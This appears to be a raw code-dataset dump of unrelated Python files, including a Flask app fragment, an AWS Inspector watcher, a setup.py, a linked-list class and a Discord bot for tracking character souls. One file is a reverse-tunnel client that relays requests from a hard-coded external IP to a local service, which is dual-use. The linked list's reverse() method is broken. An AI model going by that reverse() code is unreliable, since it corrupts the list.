pd.read_sql_query(sql, db.session.bind)\n\tfreq_dict = df.to_dict(orient='list')\n\tresults = freq_dict['WFREQ']\n\treturn jsonify(results)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"bbb_dashboard/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"301709404","text":"import datetime\nimport socket\nimport queue\nWEB_SERVER_IP='155.94.235.107'\n# WEB_SERVER_IP = '127.0.0.1'\nWEB_SERVER_PORT = 8186\nPROXY_SERVER_IP = WEB_SERVER_IP\nPROXY_SERVER_PORT = 8286\nAPPLICATION_SERVER_IP = '127.0.0.1'\nAPPLICATION_SERVER_PORT = 8086\nclass ConnectionPool(object):\n def __init__(self,ip,port):\n self.ip = ip\n self.port = port\n self.queue = queue.Queue(maxsize = 10)\n def get(self, block=False):\n if block == True:\n while self.queue.empty():\n try:\n _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n _socket.connect((self.ip, self.port))\n self.queue.put(_socket)\n except Exception as e:\n print(e)\n continue\n else:\n if self.queue.empty():\n try:\n _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n _socket.connect((self.ip, self.port))\n self.queue.put(_socket)\n except Exception as e:\n self.queue.put(\"\")\n return self.queue.get(False)\ndef receive_data(connection):\n _data = b''\n while 1:\n buf = connection.recv(1024)\n _data += buf\n if len(buf) < 1024:\n break\n return _data\nif __name__ == '__main__':\n proxy_connection_pool = ConnectionPool(PROXY_SERVER_IP, PROXY_SERVER_PORT)\n application_connection_pool = ConnectionPool(APPLICATION_SERVER_IP, APPLICATION_SERVER_PORT)\n while True:\n print('==========================================')\n # 1 connect proxy server\n print('1-1 -s watting : ', datetime.datetime.now(),' proxy client watting proxy server for getting a connection')\n proxy_client_connection = proxy_connection_pool.get(True)\n print('1-2 -s connect : ', datetime.datetime.now(), ' proxy client connect proxy server ')\n proxy_client_connection.sendall(bytes('client start', encoding='utf-8'))\n print('1-3 -s send : ', datetime.datetime.now(), ' proxy client socket first send data to proxy server')\n print('1-4 -s watting : ', datetime.datetime.now(), ' proxy client watting request data from proxy server')\n try:\n request_data = receive_data(proxy_client_connection)\n except Exception as e:\n request_data = ''\n print(e)\n if request_data == \"\":\n print('1-5 -e receive : ', datetime.datetime.now(), ' proxy client hava been received requset data faild:')\n proxy_client_connection.close()\n continue\n else:\n print('1-5 -s receive : ', datetime.datetime.now(), ' proxy client hava been received requset data :')\n print(request_data)\n ### 1.5修改request的请求头\n # form_string = WEB_SERVER_IP + ':' + str(WEB_SERVER_PORT)\n # to_string = APPLICATION_SERVER_IP + ':' + str(APPLICATION_SERVER_PORT)\n # request_data = request_data.replace(form_string, to_string)\n request_data = request_data.decode('utf-8').replace('keep-alive', 'close').encode('utf-8')\n # request_data = request_data.replace('gzip', '')\n print('1-6 -s replae : ', datetime.datetime.now(), ' replace head of requset data : ')\n print(request_data)\n # 2 connect application server\n application_client_connection = application_connection_pool.get(False)\n if application_client_connection == \"\":\n print('2-1 -e connect : ', datetime.datetime.now(), ' application client connect application server faild')\n proxy_client_connection.sendall(\"\".encode('utf-8'));\n proxy_client_connection.close()\n continue\n else:\n print('2-1 -s connect : ', datetime.datetime.now(), ' application client connect application server')\n application_client_connection.sendall(request_data)\n print('2-2 -s send : ', datetime.datetime.now(), ' application client send request data to application server ')\n print('2-3 -s watting : ', datetime.datetime.now(), ' application client watting response data from application server')\n response_data = receive_data(application_client_connection)\n print('2-4 -s receive : ', datetime.datetime.now(), ' application client hava been received response data :')\n print(response_data)\n # 3 send response\n proxy_client_connection.sendall(response_data)\n print('3-1 -s send: ', datetime.datetime.now(), ' proxy client send response data to proxy server')\n application_client_connection.close()\n proxy_client_connection.close()\n print('client connection close')","sub_path":"httpforward/http_client.py","file_name":"http_client.py","file_ext":"py","file_size_in_byte":4726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"266372570","text":"\"\"\"\n.. module: security_monkey.watchers.custom.AwsInspector\n :platform: Unix\n\n.. version:: $$VERSION$$\n.. moduleauthor:: Pritam D. Gautam @nuage\n\n\"\"\"\nfrom datetime import datetime, timedelta\n\nfrom security_monkey import app\nfrom security_monkey.decorators import iter_account_region, record_exception\nfrom security_monkey.watcher import ChangeItem\nfrom security_monkey.watcher import Watcher\n\n\nclass AwsInspector(Watcher):\n index = 'awsinspector'\n i_am_singular = 'AWS Inspector Issue'\n i_am_plural = 'AWS Inspector Issues'\n honor_ephemerals = False\n\n def __init__(self, accounts=None, debug=False):\n super(AwsInspector, self).__init__(accounts=accounts, debug=debug)\n\n @record_exception()\n def list_findings(self, **kwargs):\n from security_monkey.common.sts_connect import connect\n\n response_items = []\n inspector = connect(kwargs['account_name'], 'boto3.inspector.client', region=kwargs['region'],\n assumed_role=kwargs['assumed_role'])\n\n next_token = None\n begin_date = datetime.today() - timedelta(days=90)\n while True:\n if next_token:\n response = self.wrap_aws_rate_limited_call(\n inspector.list_findings,\n nextToken=next_token,\n filter={\n 'creationTimeRange': {\n 'beginDate': begin_date,\n }\n }\n )\n else:\n response = self.wrap_aws_rate_limited_call(\n inspector.list_findings,\n filter={\n 'creationTimeRange': {\n 'beginDate': begin_date,\n }\n }\n )\n\n findings = response.get('findingArns')\n if findings:\n response = self.wrap_aws_rate_limited_call(\n inspector.describe_findings,\n findingArns=findings,\n )\n response_items.extend(response.get('findings'))\n\n if response.get('nextToken'):\n next_token = response.get('nextToken')\n else:\n break\n\n return response_items\n\n def slurp(self):\n\n self.prep_for_slurp()\n\n @iter_account_region(index=self.index, accounts=self.accounts, service_name='inspector')\n def slurp_items(**kwargs):\n item_list = []\n exception_map = {}\n kwargs['exception_map'] = exception_map\n app.logger.debug(\"Checking {}/{}/{}\".format(self.index,\n kwargs['account_name'], kwargs['region']))\n findings = self.list_findings(**kwargs)\n\n if findings:\n for finding in findings:\n name = None\n if finding.get('Tags') is not None:\n for tag in finding.get('Tags'):\n if tag['Key'] == 'Name':\n name = tag['Value']\n break\n\n if name is None:\n name = finding.get('title')\n\n if self.check_ignore_list(name):\n continue\n\n config = finding\n # Converting Date to String as getting the following error while inserting data.\n # sqlalchemy.exc.StatementError: datetime.datetime(2018, 8, 18, 17, 23, 15, 413000, tzinfo=tzlocal())\n # is not JSON serializable (original cause: TypeError: datetime.datetime(2018, 8, 18, 17, 23, 15, 413000,\n # tzinfo=tzlocal()) is not JSON serializable)\n config['createdAt'] = str(config['createdAt'])\n config['updatedAt'] = str(config['updatedAt'])\n item = InspectorItem(region=kwargs['region'],\n account=kwargs['account_name'],\n name=name,\n arn=config.get('arn'),\n config=config)\n\n item_list.append(item)\n\n return item_list, exception_map\n\n return slurp_items()\n\n\nclass InspectorItem(ChangeItem):\n def __init__(self, account=None, region='Unknown', name=None, arn=None, config=None, audit_issues=None):\n super(InspectorItem, self).__init__(\n index=AwsInspector.index,\n region=region,\n account=account,\n name=name,\n arn=arn,\n audit_issues=audit_issues,\n new_config=config if config else {},\n )\n","sub_path":"security_monkey/watchers/custom/awsinspector.py","file_name":"awsinspector.py","file_ext":"py","file_size_in_byte":4808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"46042452","text":"# -*- coding: utf-8 -*-\n\"\"\"Setup file for easy installation\"\"\"\nimport os\nfrom setuptools import setup\n\n\n# Compile the list of packages available, because distutils doesn't have\n# an easy way to do this.\ndata_files = []\nroot_dir = os.path.dirname(__file__)\nif root_dir:\n os.chdir(root_dir)\n\nfor dirpath, dirnames, filenames in os.walk('social_auth'):\n for i, dirname in enumerate(dirnames):\n if dirname.startswith('.'): del dirnames[i]\n if filenames:\n prefix = dirpath[len('social_auth/'):] # Strip package prefix\n for f in filenames:\n data_files.append(os.path.join(prefix, f))\n\nversion = __import__('social_auth').__version__\n\nLONG_DESCRIPTION = \"\"\"\nDjango Social Auth is an easy to setup social authentication/registration\nmechanism for Django projects.\n\nCrafted using base code from django-twitter-oauth_ and django-openid-auth_,\nimplements a common interface to define new authentication providers from\nthird parties.\n\"\"\"\n\ndef long_description():\n \"\"\"Return long description from README.rst if it's present\n because it doesn't get installed.\"\"\"\n try:\n return open(os.path.join(os.path.dirname(__file__), 'README.rst')).read()\n except IOError:\n return LONG_DESCRIPTION\n\n\nsetup(name='django-social-auth',\n version=version,\n author='Matías Aguirre',\n author_email='matiasaguirre@gmail.com',\n description='Django social authentication made simple.',\n license='BSD',\n keywords='django, openid, oauth, social auth, application',\n url='https://github.com/omab/django-social-auth',\n packages=['social_auth',\n 'social_auth.backends',\n 'social_auth.backends.contrib',\n 'social_auth.backends.pipeline'],\n long_description=long_description(),\n install_requires=['django>=1.2.5',\n 'oauth2>=1.5.167',\n 'python_openid>=2.2'],\n classifiers=['Framework :: Django',\n 'Development Status :: 4 - Beta',\n 'Topic :: Internet',\n 'License :: OSI Approved :: BSD License',\n 'Intended Audience :: Developers',\n 'Environment :: Web Environment',\n 'Programming Language :: Python :: 2.5',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7'])\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"114091646","text":"from utils.utils import file_get_contents\n\ndef shortenStr(pos: int, line: str):\n length = len(line)\n for id in range(length):\n idx = pos + id\n if idx + 1 == length:\n return [None, line, True]\n toTest = line[idx] + line[idx + 1]\n if can_react(toTest):\n return [max(idx-1, 0), line[:idx] + line[idx+2:], False]\n\ndef can_react(toTest: str):\n if toTest.islower():\n return False\n\n if toTest.isupper():\n return False\n\n lower = toTest.lower()\n if lower[0] != lower[1]:\n return False\n\n return True\n\nfile = file_get_contents('input.txt')\nline = file.splitlines()[0]\n\nresults = []\nfor char in \"abcdefghijklmnopqrstuvwxyz\":\n toTestStr = line.replace(char, \"\")\n toTestStr = toTestStr.replace(char.upper(), \"\")\n\n done = False\n pos = 0\n while not done:\n pos, toTestStr, done = shortenStr(pos, toTestStr)\n\n results.append([char, len(toTestStr)])\n\nstatsSorted = sorted(results, key=lambda r: r[1])\n\nprint(\"Answer to part 2 is \" + str(statsSorted[0][1]))\n\n\n","sub_path":"2018/5/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"80655998","text":"import unittest\nfrom spinnman.model.version_info import VersionInfo\nimport struct\nfrom spinnman.exceptions import SpinnmanInvalidParameterException\n\nclass TestVersionInfo(unittest.TestCase):\n def test_retrieving_bits_from_version_data(self):\n p2p_adr = 0xf0a1\n phys_cpu = 0xff\n virt_cpu = 0x3b\n ver_number = 0xff\n arg1 = ((p2p_adr << 16) | (phys_cpu << 8) | virt_cpu)\n buffer_size = 0x10\n arg2 = ((ver_number << 16) | buffer_size)\n build_date = 0x1000\n arg3 = build_date\n data = \"my/spinnaker\"\n\n version_data = struct.pack(' [node0] -> [node1] -> [node2]\r\n \"\"\"\r\n\r\n def __init__(self, maxsize=None):\r\n \"\"\"\r\n :param maxsize: int or None, 如果是 None,无限扩充\r\n \"\"\"\r\n self.maxsize = maxsize\r\n self.root = Node()\r\n self.tailnode = None\r\n self.length = 0\r\n\r\n def __len__(self):\r\n return self.length\r\n\r\n def append(self, value):\r\n # print('添加一个值', value)\r\n if self.maxsize is not None and self.length > self.maxsize:\r\n raise Exception('链表已超过最大容量!')\r\n node = Node(value)\r\n tailnode = self.tailnode\r\n if tailnode is None: # 说明此链表还没有append过\r\n self.root.next = node\r\n else:\r\n tailnode.next = node\r\n self.tailnode = node\r\n self.length += 1\r\n\r\n def appendleft(self, value):\r\n if self.length == 0:\r\n self.append(value)\r\n else:\r\n self.length += 1\r\n if self.maxsize is not None and self.length > self.maxsize:\r\n raise Exception('链表已超过最大容量!')\r\n node = Node(value)\r\n node.next = self.root.next\r\n self.root.next = node\r\n\r\n def __iter__(self):\r\n for node in self.iter_node():\r\n yield node.value\r\n\r\n def iter_node(self):\r\n \"\"\"遍历 从 head 节点到 tail 节点\"\"\"\r\n cur_node = self.root.next\r\n while cur_node is not None:\r\n # print('111', cur_node.value)\r\n yield cur_node\r\n cur_node = cur_node.next\r\n if cur_node is not None:\r\n # print('222', cur_node.value)\r\n yield cur_node\r\n\r\n def remove(self, value): # O(n)\r\n \"\"\" 删除包含值的一个节点,将其前一个节点的 next 指向被查询节点的下一个即可\r\n :param value:\r\n \"\"\"\r\n cur_node = self.root.next\r\n if cur_node.value == value:\r\n self.root.next = cur_node.next\r\n self.length -= 1\r\n return 1\r\n while cur_node is not None:\r\n if cur_node.next and cur_node.next.value == value:\r\n cur_node.next = cur_node.next.next\r\n self.length -= 1\r\n return 1\r\n cur_node = cur_node.next\r\n return -1\r\n\r\n def find(self, value): # O(n)\r\n \"\"\" 查找一个节点,返回序号,从 0 开始\r\n :param value:\r\n \"\"\"\r\n cur_node = self.root.next\r\n num = 0\r\n while cur_node is not None:\r\n if cur_node.next is not None and cur_node.next.value == value:\r\n num += 1\r\n return num\r\n cur_node = cur_node.next\r\n num += 1\r\n return -1\r\n\r\n def popleft(self): # O(1)\r\n \"\"\" 删除第一个链表节点\r\n \"\"\"\r\n if self.length <= 1:\r\n self.root.next = None\r\n self.length -= 1\r\n self.tailnode = None\r\n return None\r\n cur_node = self.root.next\r\n self.root.next = cur_node.next\r\n self.length -= 1\r\n return cur_node.value\r\n\r\n def clear(self):\r\n self.root.next = None\r\n self.length = 0\r\n self.tailnode = None\r\n\r\n # def reverse(self):\r\n # \"\"\"将单链表储存为数组,然后按照数组的索引逆序进行反转。\"\"\"\r\n # values = []\r\n # for value in self.iter_node():\r\n # values.append(value.value)\r\n # self.root.next = None\r\n # self.length = 0\r\n # for i in range(len(values) - 1, -1, -1):\r\n # self.append(values[i])\r\n\r\n # def reverse(self):\r\n # \"\"\"使用前节点, 当前节点, 下一节点, 逐个将节点反转。\"\"\"\r\n # cur_node = self.root.next\r\n # prev_node = None\r\n # while cur_node is not None:\r\n # next_node = cur_node.next\r\n # cur_node.next = prev_node\r\n #\r\n # if next_node is None:\r\n # # 此时已经到达尾节点\r\n # self.root.next = cur_node\r\n # # 前面已经反转完成, 此时更新新的节点信息\r\n # prev_node = cur_node\r\n # cur_node = next_node\r\n\r\n def reverse(self):\r\n \"\"\"从第一个节点之后, 将后续的所有节点都添加到链表的第二个节点位置, 直至最后将头节点添加到尾节点处\"\"\"\r\n cur_node = self.root.next\r\n self.tailnode = cur_node\r\n cur_node = cur_node.next\r\n while cur_node.next is not None:\r\n next_node = cur_node.next\r\n cur_node.next = next_node.next\r\n next_node.next = self.tailnode.next\r\n self.tailnode.next = next_node\r\n res = []\r\n for j in self.iter_node():\r\n res.append(j.value)\r\n print(\"最终的res:\", res)\r\n cur_node.next = self.root # 围绕成环\r\n self.root = cur_node.next.next # 将单链表更新为从节点的第二个开始\r\n cur_node.next = Node(self.tailnode.value) # 断掉环\r\n\r\n\r\n\r\ndef test_linked_list():\r\n ll = LinkedList()\r\n\r\n ll.append(0)\r\n ll.append(1)\r\n ll.append(2)\r\n ll.append(3)\r\n assert len(ll) == 4\r\n assert ll.find(2) == 2\r\n assert ll.find(-1) == -1\r\n\r\n assert ll.remove(0) == 1\r\n assert ll.remove(10) == -1\r\n assert ll.remove(2) == 1\r\n assert len(ll) == 2\r\n assert list(ll) == [1, 3]\r\n assert ll.find(0) == -1\r\n\r\n ll.appendleft(0)\r\n assert list(ll) == [0, 1, 3]\r\n assert len(ll) == 3\r\n\r\n headvalue = ll.popleft()\r\n assert headvalue == 0\r\n assert len(ll) == 2\r\n assert list(ll) == [1, 3]\r\n\r\n assert ll.popleft() == 1\r\n assert list(ll) == [3]\r\n ll.popleft()\r\n assert len(ll) == 0\r\n assert ll.tailnode is None\r\n\r\n ll.clear()\r\n assert len(ll) == 0\r\n assert list(ll) == []\r\n\r\n\r\ndef test_linked_list_remove():\r\n ll = LinkedList()\r\n ll.append(3)\r\n ll.append(4)\r\n ll.append(5)\r\n ll.append(6)\r\n ll.append(7)\r\n ll.remove(7)\r\n print(list(ll))\r\n\r\n\r\ndef test_linked_list_reverse():\r\n ll = LinkedList()\r\n n = 10\r\n for i in range(n):\r\n ll.append(i)\r\n ll.reverse()\r\n # for i in ll:\r\n # print(i)\r\n print(list(ll))\r\n print(list(reversed(range(n))))\r\n assert list(ll) == list(reversed(range(n)))\r\n\r\n\r\ndef test_linked_list_append():\r\n ll = LinkedList()\r\n ll.appendleft(1)\r\n ll.append(2)\r\n assert list(ll) == [1, 2]\r\n\r\n\r\nif __name__ == '__main__':\r\n # test_linked_list()\r\n # test_linked_list_remove()\r\n # test_linked_list_append()\r\n test_linked_list_reverse()\r\n","sub_path":"剑指offer/linked_list.py","file_name":"linked_list.py","file_ext":"py","file_size_in_byte":6760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"29781554","text":"#!/usr/bin/env python3\n\nimport sys\nimport json\n\nin_path = sys.argv[1]\nout_path = sys.argv[2]\n\n\n# From https://gist.github.com/nvie/f304caf3b4f1ca4c3884\ndef traverse(obj, path=None, callback=None):\n \"\"\"\n Traverse an arbitrary Python object structure (limited to JSON data\n types), calling a callback function for every element in the structure,\n and inserting the return value of the callback as the new value.\n \"\"\"\n if path is None:\n path = []\n\n if isinstance(obj, dict):\n value = {k: traverse(v, path + [k], callback) for k, v in obj.items()}\n elif isinstance(obj, list):\n value = [traverse(elem, path + [[]], callback) for elem in obj]\n else:\n value = obj\n\n if callback is None:\n return value\n else:\n return callback(path, value)\n\n\ndef update_dashboard(path, value):\n # Disable 'editable'\n if path and path[-1] == \"editable\" and value:\n value = False\n\n # Add 'infra' tag\n if len(path) == 1 and path[0] == \"tags\":\n if 'infra' not in value:\n value.insert(0, 'infra')\n\n return value\n\n\nwith open(in_path) as f_in:\n dashboard_json = json.load(f_in)\n dashboard_json_updated = traverse(dashboard_json,\n callback=update_dashboard)\n formatted_json = json.dumps(dashboard_json_updated,\n indent=4,\n sort_keys=True)\n with open(out_path, 'w') as f_out:\n f_out.write(formatted_json)\n","sub_path":"helpers/gluster-mixin-generator/clean_dashboard.py","file_name":"clean_dashboard.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"388044323","text":"import Tkinter as tk\n\nfrom Utils import merge_dicts\nfrom Tkinter import TOP, SUNKEN, X\nfrom FrontEnd import TargetFrame, GenderFrame, ButtonFrame\n\nclass CheckboxInputController(tk.Frame):\n def __init__(self, master, *args, **kwargs):\n tk.Frame.__init__(self, master, *args, **kwargs)\n self.master = master\n\n frame_kwargs = {'bd': 2, 'relief': SUNKEN}\n frame_pack_kwargs = {'side': TOP, 'fill': X}\n\n\n self.target_frame = TargetFrame(self, frame_kwargs)\n self.gender_frame = GenderFrame(self, frame_kwargs)\n self.button_frame = ButtonFrame(self, frame_kwargs)\n\n self.target_frame.pack(frame_pack_kwargs)\n self.gender_frame.pack(frame_pack_kwargs)\n self.button_frame.pack(frame_pack_kwargs)\n\n def take_fields(self):\n all_fields = [\n self.target_frame.take_fields(),\n self.gender_frame.take_fields(),\n self.button_frame.take_fields(),\n ]\n return self.merge_dicts(all_fields)\n","sub_path":"Controller/checkbox_input_controller.py","file_name":"checkbox_input_controller.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"415432286","text":"# ----------- Script by ReedRGale ----------- #\n# Utility functions used throughout the script. #\n\n\nimport asyncio\nimport json\nimport os\nimport errno\n\nfrom model import val, st, alias\nfrom view.TidyMessage import TidyMessage\nfrom model.enums import TidyMode\n\n\n# Function Encapsulators #\n\n\nasync def add_item(ctx, being_edited=\"\"):\n \"\"\"Encapsulator that handles making new items.\"\"\"\n preview, unacceptable, first_run = None, True, True\n tm = await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE, content=st.REQ_TITLE,\n checks=[check_unique(being_edited)], timeout=val.MEDIUM)\n if comm_ended(tm, ctx):\n return\n title = tm.prompt.content\n\n # Loop until acceptable.\n while unacceptable:\n\n # Ask for item title.\n if not first_run:\n tm = await tm.rebuild(st.REQ_TITLE, checks=[check_unique(being_edited)])\n if comm_ended(tm, ctx):\n return\n title = tm.prompt.content\n else:\n first_run = False\n\n # Ask for item contents.\n tm = await tm.rebuild(st.REQ_DESCRIPTION)\n if comm_ended(tm, ctx):\n return\n description = tm.prompt.content\n\n # Preview for user.\n preview = \"\\n\\n\" + \"_\" + title + \"\\n\\n\" + description + \"_\" + \"\\n\\n\"\n\n # Check if acceptable.\n tm = await tm.rebuild(st.ASK_ITEM_ACCEPTABLE + preview, checks=[check_alias_f(alias.CONFIRM_ALIASES),\n check_args_f(st.MODE_EQ, 1)])\n if comm_ended(tm, ctx):\n return\n fin = tm.prompt.content\n\n if fin.lower() in alias.AFFIRM:\n unacceptable = False\n\n # Prepare item entry.\n item_json = {st.F_TITLE: title,\n st.F_ITEM: description,\n st.F_OWNER: ctx.message.author.id,\n st.F_VOTERS: [],\n st.F_COMP: {},\n st.F_ATTR: {},\n st.F_CANON: False,\n st.F_PROOFED: False}\n\n # Add item entry.\n store_item(item_json)\n\n await tm.rebuild(st.INF_ITEM_ADDED.format(title), req=False)\n\n\nasync def add_souls(ctx, *args):\n \"\"\"Encapsulator that handles making new items.\"\"\"\n if len(args) == 3:\n character, soul_value, is_simulating, tm = args[1], int(args[2]), False, None\n else:\n return await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE, req=False,\n content=st.ERR_INVALID_ADDSOUL_ARGS.format(len(args)), mode=TidyMode.WARNING)\n\n if ctx.message.author.id not in [231070345396748289, 231246612792344577, 178391145401942016]:\n if not ws_character_exists(character):\n return await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE, req=False,\n content=st.ERR_INVALID_PERMISSIONS, mode=TidyMode.WARNING)\n else:\n tm = await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE,\n content=st.ERR_INVALID_PERMISSIONS + st.INF_SIMULATE_ADDSOUL,\n checks=[check_alias_f(alias.CONFIRM_ALIASES),\n check_args_f(st.MODE_EQ, 1)])\n if comm_ended(tm, ctx):\n return\n\n if tm.prompt.content.lower() in alias.DENY:\n return await tm.rebuild(st.INF_SUIT_YOURSELF, req=False)\n else:\n is_simulating = True\n\n if not ws_character_exists(character) and not is_simulating:\n tm = await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE, content=st.REQ_CHARACTER_CREATION,\n checks=[check_alias_f(alias.CONFIRM_ALIASES),\n check_args_f(st.MODE_EQ, 1)], timeout=val.MEDIUM)\n if comm_ended(tm, ctx):\n return\n\n if tm.prompt.content.lower() in alias.DENY:\n return await tm.rebuild(st.INF_NO_CHARACTER_CREATION, req=False)\n else:\n tm = await create_new_ws_character(character, tm)\n\n character_json = get_ws_character(character)\n if is_simulating:\n return await preview_add_soul(ctx, tm, character_json, soul_value, is_simulating)\n\n # Simulate adding souls and prompt user.\n tm = await preview_add_soul(ctx, tm, character_json, soul_value)\n if comm_ended(tm, ctx):\n return\n\n if tm.prompt.content.lower() in alias.DENY:\n return await tm.rebuild(st.INF_NO_ADDED_SOULS, req=False)\n\n await tm.rebuild(st.INF_NEW_SOUL_VALUE.format(character_json[st.FLD_NAME],\n soul_value,\n character_json[st.FLD_SOUL] + soul_value,\n ws_level(character_json[st.FLD_SOUL] + soul_value),\n ws_next_level(character_json[st.FLD_SOUL] + soul_value),\n str(int(character_json[st.FLD_VIT])\n + 5 * (ws_level(character_json[st.FLD_SOUL]) - 1)),\n str(int(character_json[st.FLD_VIT])\n + 5 * (ws_level(character_json[st.FLD_SOUL] + soul_value) - 1)),\n ws_character_levelup_int(\n character_json, ws_level(character_json[st.FLD_SOUL])),\n ws_character_levelup_int(\n character_json,\n ws_level(character_json[st.FLD_SOUL] + soul_value)),\n ws_character_levelup_dex(\n character_json, ws_level(character_json[st.FLD_SOUL])),\n ws_character_levelup_dex(\n character_json,\n ws_level(character_json[st.FLD_SOUL] + soul_value)),\n ws_character_levelup_str(\n character_json, ws_level(character_json[st.FLD_SOUL])),\n ws_character_levelup_str(\n character_json,\n ws_level(character_json[st.FLD_SOUL] + soul_value))),\n req=False)\n\n character_json = {st.FLD_NAME: character.title(),\n st.FLD_SOUL: character_json[st.FLD_SOUL] + soul_value,\n st.FLD_VIT: character_json[st.FLD_VIT],\n st.FLD_STR: character_json[st.FLD_STR],\n st.FLD_DEX: character_json[st.FLD_DEX],\n st.FLD_INT: character_json[st.FLD_INT],\n st.FLD_PRIMARY: character_json[st.FLD_PRIMARY]}\n store_ws_character(character, character_json)\n\n\nasync def view_souls(ctx, *args):\n character = args[1]\n if ws_character_exists(character):\n character_json = get_ws_character(character)\n return await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE, req=False,\n content=st.INF_CHARACTER_STATS.format(\n character_json[st.FLD_NAME],\n ws_level(character_json[st.FLD_SOUL]),\n character_json[st.FLD_SOUL],\n ws_next_level(character_json[st.FLD_SOUL])))\n else:\n return await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE, req=False,\n content=st.ERR_WHO_NOW, mode=TidyMode.WARNING)\n\n\nasync def create_new_ws_character(character, tm):\n # Ask for base vitality\n tm = await tm.rebuild(st.REQ_VIT, checks=[check_args_f(st.MODE_EQ, 1), check_int])\n vitality = tm.prompt.content\n\n # Ask for base strength\n tm = await tm.rebuild(st.REQ_STR, checks=[check_args_f(st.MODE_EQ, 1), check_int])\n strength = tm.prompt.content\n\n # Ask for base dex\n tm = await tm.rebuild(st.REQ_DEX, checks=[check_args_f(st.MODE_EQ, 1), check_int])\n dexterity = tm.prompt.content\n\n # Ask for base int\n tm = await tm.rebuild(st.REQ_INT, checks=[check_args_f(st.MODE_EQ, 1), check_int])\n intelligence = tm.prompt.content\n\n # Ask for primary stat\n tm = await tm.rebuild(st.REQ_PRIMARY, checks=[check_args_f(st.MODE_EQ, 1),\n check_alias_f(alias.PRIMARY_ALIASES)])\n primary = tm.prompt.content\n\n character_json = {st.FLD_NAME: character.title(),\n st.FLD_SOUL: 0,\n st.FLD_VIT: vitality,\n st.FLD_STR: strength,\n st.FLD_DEX: dexterity,\n st.FLD_INT: intelligence,\n st.FLD_PRIMARY: primary}\n store_ws_character(character, character_json)\n\n\ndef ws_character_exists(character):\n character_dir = \"model\\\\\" \\\n + st.WS_FN + \"\\\\\" \\\n + st.CHARACTER_FN + \"\\\\\"\n\n if not os.path.exists(character_dir):\n try:\n os.makedirs(character_dir)\n except OSError as exc: # Guard against race condition\n if exc.errno != errno.EEXIST:\n raise\n filenames = os.listdir(character_dir)\n\n for name in filenames:\n if name.lower() == (character + \".json\").lower():\n return True\n return False\n\n\ndef get_ws_character(character):\n character_file = \"model\\\\\" \\\n + st.WS_FN + \"\\\\\" \\\n + st.CHARACTER_FN + \"\\\\\" \\\n + character + \".json\"\n\n if ws_character_exists(character):\n with open(character_file, \"r\") as fout:\n return json.load(fout)\n return None\n\n\ndef store_ws_character(character, character_json):\n character_file = \"model\\\\\" \\\n + st.WS_FN + \"\\\\\" \\\n + st.CHARACTER_FN + \"\\\\\" \\\n + character + \".json\"\n\n with open(character_file, \"w\") as fout:\n json.dump(character_json, fout, indent=1)\n\n\ndef ws_level(souls):\n level = 1\n while souls >= level:\n souls -= level + 1\n level += 1\n return level\n\n\ndef ws_next_level(souls):\n level = 1\n while souls >= level:\n souls -= level + 1\n level += 1\n return (level + 1) - souls\n\n\nasync def preview_add_soul(ctx, tm, character_json, soul_value, is_simulation=False):\n if is_simulation:\n tm = await tm.rebuild(st.ADDSOUL_PREVIEW.format(\n character_json[st.FLD_NAME],\n ws_level(character_json[st.FLD_SOUL]),\n ws_level(character_json[st.FLD_SOUL] + soul_value),\n character_json[st.FLD_SOUL],\n character_json[st.FLD_SOUL] + soul_value,\n ws_next_level(character_json[st.FLD_SOUL] + soul_value),\n str(int(character_json[st.FLD_VIT])\n + 5 * ws_level(character_json[st.FLD_SOUL])),\n str(int(character_json[st.FLD_VIT])\n + 5 * ws_level(character_json[st.FLD_SOUL] + soul_value)),\n ws_character_levelup_int(\n character_json, ws_level(character_json[st.FLD_SOUL])),\n ws_character_levelup_int(\n character_json,\n ws_level(character_json[st.FLD_SOUL] + soul_value)),\n ws_character_levelup_dex(\n character_json, ws_level(character_json[st.FLD_SOUL])),\n ws_character_levelup_dex(\n character_json,\n ws_level(character_json[st.FLD_SOUL] + soul_value)),\n ws_character_levelup_str(\n character_json, ws_level(character_json[st.FLD_SOUL])),\n ws_character_levelup_str(\n character_json,\n ws_level(character_json[st.FLD_SOUL] + soul_value))),\n req=False, timeout=val.MEDIUM)\n elif tm:\n tm = await tm.rebuild(st.REQ_OKAY + st.ADDSOUL_PREVIEW.format(\n character_json[st.FLD_NAME],\n ws_level(character_json[st.FLD_SOUL]),\n ws_level(character_json[st.FLD_SOUL] + soul_value),\n character_json[st.FLD_SOUL],\n character_json[st.FLD_SOUL] + soul_value,\n ws_next_level(character_json[st.FLD_SOUL] + soul_value),\n str(int(character_json[st.FLD_VIT])\n + 5 * ws_level(character_json[st.FLD_SOUL])),\n str(int(character_json[st.FLD_VIT])\n + 5 * ws_level(character_json[st.FLD_SOUL] + soul_value)),\n ws_character_levelup_int(\n character_json, ws_level(character_json[st.FLD_SOUL])),\n ws_character_levelup_int(\n character_json,\n ws_level(character_json[st.FLD_SOUL] + soul_value)),\n ws_character_levelup_dex(\n 